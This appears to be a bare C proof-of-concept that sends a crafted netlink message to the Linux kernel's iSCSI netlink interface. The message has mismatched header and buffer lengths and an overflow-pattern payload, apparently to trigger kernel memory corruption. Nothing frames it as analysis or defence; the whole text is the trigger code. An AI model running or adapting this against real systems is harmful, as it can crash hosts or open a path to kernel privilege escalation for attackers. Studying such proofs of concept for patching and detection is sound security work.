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- #include <sys/socket.h>
- #include <linux/netlink.h>
- #include <stdlib.h>
- #include <string.h>
- #include <stdio.h>
- #define NETLINK_USER 31
- #define MAX_PAYLOAD 1024 /* maximum payload size*/
- struct sockaddr_nl src_addr, dest_addr;
- struct nlmsghdr *nlh = NULL;
- struct iovec iov;
- int sock_fd;
- struct msghdr msg;
- int main()
- {
- sock_fd=socket(PF_NETLINK, SOCK_RAW, NETLINK_ISCSI);
- if(sock_fd<0)
- return -1;
- memset(&src_addr, 0, sizeof(src_addr));
- src_addr.nl_family = AF_NETLINK;
- src_addr.nl_pid = getpid(); /* self pid */
- bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr));
- memset(&dest_addr, 0, sizeof(dest_addr));
- memset(&dest_addr, 0, sizeof(dest_addr));
- dest_addr.nl_family = AF_NETLINK;
- dest_addr.nl_pid = 0; /* For Linux Kernel */
- dest_addr.nl_groups = 0; /* unicast */
- nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
- memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
- nlh->nlmsg_len = 0xac;
- nlh->nlmsg_pid = getpid();
- nlh->nlmsg_flags = 0;
- strcpy(NLMSG_DATA(nlh), "ABCDEFGHabcdefghABCDEFGHabcdef
- ghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHab
- cdefghAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDD\x10");
- iov.iov_base = (void *)nlh;
- iov.iov_len = 0xc0;
- msg.msg_name = (void *)&dest_addr;
- msg.msg_namelen = sizeof(dest_addr);
- msg.msg_iov = &iov;
- msg.msg_iovlen = 1;
- printf("Sending message to kernel\n");
- sendmsg(sock_fd,&msg,0);
- printf("Waiting for message from kernel\n");
- /* Read message from kernel */
- recvmsg(sock_fd, &msg, 0);
- printf("Received message payload: %s\n", (char *)NLMSG_DATA(nlh));
- close(sock_fd);
- }
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